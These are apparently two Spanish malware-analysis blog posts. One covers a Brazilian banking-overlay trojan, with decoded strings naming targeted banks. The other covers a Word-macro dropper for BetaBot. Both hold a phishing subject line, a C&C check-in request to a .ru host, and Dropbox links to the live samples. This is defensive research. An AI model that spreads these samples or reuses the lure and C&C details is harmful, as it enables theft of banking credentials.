Troyano Brasileño: Afecta a varias entidades Bancarias del Brasil.

La amenaza llega bajo el siguiente spear phishing.

Asunto: Seu CPF/CNPJ Sera incluso no SPC/SERASA, Por falta de Pagamento. Protc.:2017-30656

El link nos descarga un ZIP con un ejecutable.

Icono de la aplicación,

Analisis del dropper.

Strings interesantes, podemos ver de donde se descarga el payload, y su pésimo método de ofuscación.

Proteccion básica anti-debugging

 Llamada a la función para la descarga del payload.

Aquí se puede ver el url del malware (lo habíamos visto antes en la parte de los strings que estaban muy mal ofuscados)

La extension del archivo es zip, pero no lo es, esta codificado, el downloader se encarga de decodificarlo en un .exe y ejecutarlo con ShellExecuteA

 Ubicación en el sistema del archivo para luego ejecutarlo.

Llamada al c&c para reportar la infección.

Analisis del Payload

Como vemos el archivo es un poco extenso 114 Mb

https://virustotal.com/es/file/63e335b50467c00bd6dec465f3c5de4c6d5c427a593247a38709d6588cb50a5a/analysis/1490982253/

 Persistencia en el sistema

Existen cadenas codificadas

 006833E8 '345AFA2ECD75DC3F9732A0'

 00683408 '45'

 00683414 '32AF24DA13B618BE1BB226B31EC60E389EF417BE1BC4001AC3035C'

 00683454 '46'

 00683460 'BB18B56599FE'

 00683478 '47'

 00683484 'E86EEB1CD672E266E072DC65F2256783D37AA7ED659F3953FF47'

 006834C4 '48'

 006834D0 '6CE16F99'

 006834E4 '070D49E90B494F89D774'

 00683504 '49'

 00683510 '4984C16085DD68FD54BA26BE15CDCF76EF5C'

 00683540 '50'

 0068354C '83DD7297A922AE2AA3329E3F938084FD011731AD28D0CA0D3899'

Podemos decodificarlas poniendo un BP en la dirección de memoria donde finaliza la rutina de desencripción y verificar el valor devuelto en EDX

Nota: La rutina de codificación y decodificación fue explicada en otras entregas del blog.

 Aqui parte de las cadenas ofuscadas y el resultado de su decodificación.

07C040B8  37 41 38 34 43 45 37 34  7A84CE74
07C040C0  38 42 43 37 30 33 35 32  8BC70352
07C040C8  46 38 32 31 35 36 38 46  F821568F
07C040D0  33 43 31 39 36 41 41 41  3C196AAA
07C040D8  32 46 39 39 42 34 31 30  2F99B410
07C040E0  42 37 39 43 46 30 30 37  B79CF007
07C040E8  33 33 41 31 33 30 44 46  33A130DF
07C040F0  31 42 34 42 38 45 39 38  1B4B8E98
07C040F8  44 33 30 43 42 34 45 43  D30CB4EC
07C04100  30 34 34 39 38 44 33 34  04498D34
07C04108  41 31 34 30 46 39 31 37  A140F917

07C06F2C  42 72 61 64 65 73 63 6F  Bradesco
07C06F34  20 4E 65 74 20 45 78 70   Net Exp
07C06F3C  72 65 73 73 20 28 42 72  ress (Br
07C06F44  61 64 65 73 63 6F 20 4E  adesco N
07C06F4C  65 74 20 45 78 70 72 65  et Expre
07C06F54  73 73 29                 ss)


07C0ADD4  39 45 43 39 31 37 43 44  9EC917CD
07C0ADDC  37 43 44 38 30 32 31 36  7CD80216
07C0ADE4  36 32 45 32 36 41 46 42  62E26AFB
07C0ADEC  35 36 46 41 36 38 39 45  56FA689E

07C0A060  53 65 72 61 73 61 20 45  Serasa E
07C0A068  78 70 65 72 69 61 6E 00  xperian.
07C0A070  22 00 00 00 01 00 00 00  "... ...
07C0A078  11 00 00 00 42 61 6E 63   ...Banc
07C0A080  6F 20 64 6F 20 4E 6F 72  o do Nor
07C0A088  64 65 73 74 65           deste


07C0A0F8  74 72 61 6E 73 66 65 72  transfer
07C0A100  65 6E 63 69 61 73 00     encias.



07C0A444  44 30 31 46 42 43 36 42  D01FBC6B
07C0A44C  38 37 44 41 37 43 45 42  87DA7CEB
07C0A454  37 34 44 41 30 36 34 31  74DA0641
07C0A45C  35 39 38 39 43 43 37 31  5989CC71
07C0A464  44 32 38 32 32 43 41 33  D2822CA3
07C0A46C  46 37 31 37 34 38 35 43  F717485C
07C0A474  38 35 44 46 37 31 41 43  85DF71AC
07C0A47C  35 37 38 44 43 46 38 31  578DCF81
07C0A484  44 37                    D7

07C03C98  42 61 6E 63 6F 20 64 65  Banco de
07C03CA0  20 42 72 61 73 ED 6C 69   Brasíli
07C03CA8  61 00                    a.

07C03CD8  5B 62 62 2E 63 6F 6D 2E  [bb.com.
07C03CE0  62 72 5D 00              br].

07C061C0  43 36 30 36 34 35 46 38  C60645F8
07C061C8  37 34 45 31 37 43 39 45  74E17C9E
07C061D0  33 42 39 32 33 39 35 33  3B923953
07C061D8  38 44 34 35 00           8D45.

07C09A5C  77 77 77 2E 62 62 2E 63  www.bb.c
07C09A64  6F 6D 2E 62 72           om.br


07C03CF0  37 42 45 35 37 46 41 39  7BE57FA9
07C03CF8  35 45 46 41 36 35 45 33  5EFA65E3
07C03D00  37 43 44 37 37 38 44 30  7CD778D0
07C03D08  43 36 36 46 45 41 31 30  C66FEA10

07C03D20  62 61 6E 63 6F 62 72 61  bancobra
07C03D28  73 69 6C 2E 63 6F 6D 00  sil.com.

07C0A004  39 36 44 34 30 32 33 30  96D40230
07C0A00C  43 41 30 36 35 37 38 45  CA06578E
07C0A014  44 36 43 45 32 38 35 45  D6CE285E

07C0591C  56 65 72 69 66 69 63 61  Verifica
07C05924  20 42 42 00               BB.

07C0A02C  43 37 33 32 41 42 35 45  C732AB5E
07C0A034  39 32 33 35 36 44 45 35  92356DE5
07C0A03C  36 43 42 34 43 46 37 36  6CB4CF76
07C0A044  45 46 32 36 42 42 36 30  EF26BB60

07C0586C  42 61 6E 63 6F 20 64 6F  Banco do
07C05874  20 42 72 61 73 69 6C 00   Brasil.

07C05888  44 42 37 43 43 38 37 39  DB7CC879
07C05890  42 41 31 39 36 42 41 45  BA196BAE
07C05898  45 34 36 34 45 32 36 45  E464E26E
07C058A0  39 38 38 33 44 31 37 42  9883D17B
07C058A8  44 44 37 39 41 32 33 44  DD79A23D
07C058B0  39 42 42 37 31 46 42 43  9BB71FBC
07C058B8  36 33 00                 63.

07C093C0  68 74 74 70 73 3A 2F 2F  https://
07C093C8  77 77 77 32 2E 62 61 6E  www2.ban
07C093D0  63 6F 62 72 61 73 69 6C  cobrasil

07C03CB8  35 32 41 43 33 36 45 30  52AC36E0
07C03CC0  31 35 42 46 30 43 34 35  15BF0C45
07C03CC8  38 31                    81

07C093E8  42 61 6E 65 73 74 65 73  Banestes

07C061EC  32 43 35 37 46 38 32 39  2C57F829
07C061F4  43 31 31 33 34 43 38 45  C1134C8E
07C061FC  43 30                    C0

07C058C8  43 69 74 69 62 61 6E 6B  Citibank

07C058E0  37 36 39 31 46 39 35 45  7691F95E
07C058E8  39 35 33 32 39 43 43 39  95329CC9
07C058F0  30 34 00 00 1E 00 00 00  04

07C05900  33 30 20 68 6F 72 61 73  30 horas

07C09448  43 31 33 43 39 36 42 33  C13C96B3
07C09450  34 42 38 37 43 32 31 32  4B87C212
07C09458  42 38                    B8

07C0A32C  42 72 61 64 65 73 63 6F  Bradesco

07C0A2D4  41 46 43 35 31 46 44 31  AFC51FD1
07C0A2DC  36 34 46 43 36 36 46 45  64FC66FE
07C0A2E4  35 37 46 31 32 42 34 34  57F12B44
07C0A2EC  38 34 41 32 33 42 46 38  84A23BF8
07C0A2F4  35 38 46 39 33 41 39 31  58F93A91

07C0A29C  4E 61 76 65 67 61 64 6F  Navegado
07C0A2A4  72 20 45 78 63 6C 75 73  r Exclus
07C0A2AC  69 76 6F 00              ivo.

07BFF438  42 38 31 41 42 30 36 31  B81AB061
07BFF440  39 35 33 46 39 35 43 45  953F95CE
07BFF448  37 41 45 34 37 46 44 39  7AE47FD9
07BFF450  37 44 41 33 32 36 43 35  7DA326C5
07BFF458  31 44 34 36 45 35 36 36  1D46E566
07BFF460  46 33 00                 F3.

07C0B0D0  69 6E 74 65 72 6E 65 74  internet
07C0B0D8  62 61 6E 6B 69 6E 67 63  bankingc
07C0B0E0  61 69 78 61 00           aixa.

07BFF470  44 33 31 46 42 38 36 33  D31FB863
07BFF478  38 34 44 32 37 39 45 39  84D279E9
07BFF480  37 36 44 30              76D0

07C0B130  53 61 6E 74 61 6E 64 65  Santande
07C0B138  72 00 00                 r.


07C0A004     41 38 34 43 45 37 34   A84CE74
07C0A00C  38 42 43 37 30 33 35 32  8BC70352
07C0A014  46 38 32 31 35 36 38 46  F821568F
07C0A01C  33 43 31 39 36 41 41 41  3C196AAA
07C0A024  32 46 39 39 42 34 31 30  2F99B410
07C0A02C  42 37 39 43 46 30 30 37  B79CF007
07C0A034  33 33 41 31 33 30 44 46  33A130DF
07C0A03C  31 42 34 42 38 45 39 38  1B4B8E98
07C0A044  44 33 30 43 42 34 45 43  D30CB4EC
07C0A04C  30 34 34 39 38 44 33 34  04498D34
07C0A054  41 31 34 30 46 39 31 37  A140F917

07C03C98  42 72 61 64 65 73 63 6F  Bradesco
07C03CA0  20 4E 65 74 20 45 78 70   Net Exp
07C03CA8  72 65 73 73 20 28 42 72  ress (Br
07C03CB0  61 64 65 73 63 6F 20 4E  adesco N
07C03CB8  65 74 20 45 78 70 72 65  et Expre
07C03CC0  73 73 29 00              ss).


07C06208  62 61 6E 63 6F 62 72 61  bancobra
07C06210  73 69 6C 2E 63 6F 6D 00  sil.com.

07C0A28C  41 70 6C 69 63 61 74 69  Aplicati
07C0A294  76 6F 20 42 72 61 64 65  vo Brade
07C0A29C  73 63 6F 00              sco.

El malware corresponde a un screen Overlay, este monitorea el url que se esta visitando, y de acuerdo a las cadenas expuestas mas arriba, se despliegan falsos formularios en los cuales la victima ingresa las claves.

Muestra: https://www.dropbox.com/s/3csafx6c0h46pc1/banload-27-03-17.rar?dl=0


Es todo por el momento @Dkavalanche 2017

Gracias por la Donación: Continúan los ataques con documentos word con Macros.



Al igual que en otros casos llega por correo spam con un zip con un documento .doc con macros maliciosas que descargan Neurevt

Una vez abierto el documento se solicita habilitar el contenido, apelando una vez más al descuido de la víctima.

El macro, genera un .VBS que es el encargado de descargar el binario.

Quitamos los /***/ y obtenemos el sito de descarga http

Análisis del binario descargado por la macro .doc

https://www.virustotal.com/es/file/eb2421b85cd190084f28ee861681e88f2bfe2f7237b6c5d780f03c2ba896d0c4/analysis/

Quitamos la primera capa de ofuscación del código malicioso y obtenemos una muestra "más limpia"

https://virustotal.com/es/file/8394e9f616b66070385572fa54d11bd22a7913dd9dfedac298eef5bb16640f78/analysis/1490299891/


Reporte al sitio de C&C

"POST /kin/logout.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: nwefbnujngohreogojgr.ru
Content-Length: 1111
Cache-Control: no-cache" with no payload


Esta amenaza puede ser utilizada para robar información de la PC como también controlarla remotamente, o subir un Ransomware.



Muestra: https://www.dropbox.com/s/fic9oudzsd2lckt/BetaBot%2023-03-17.rar?dl=0



Es todo por el momento @Dkavalanche 2017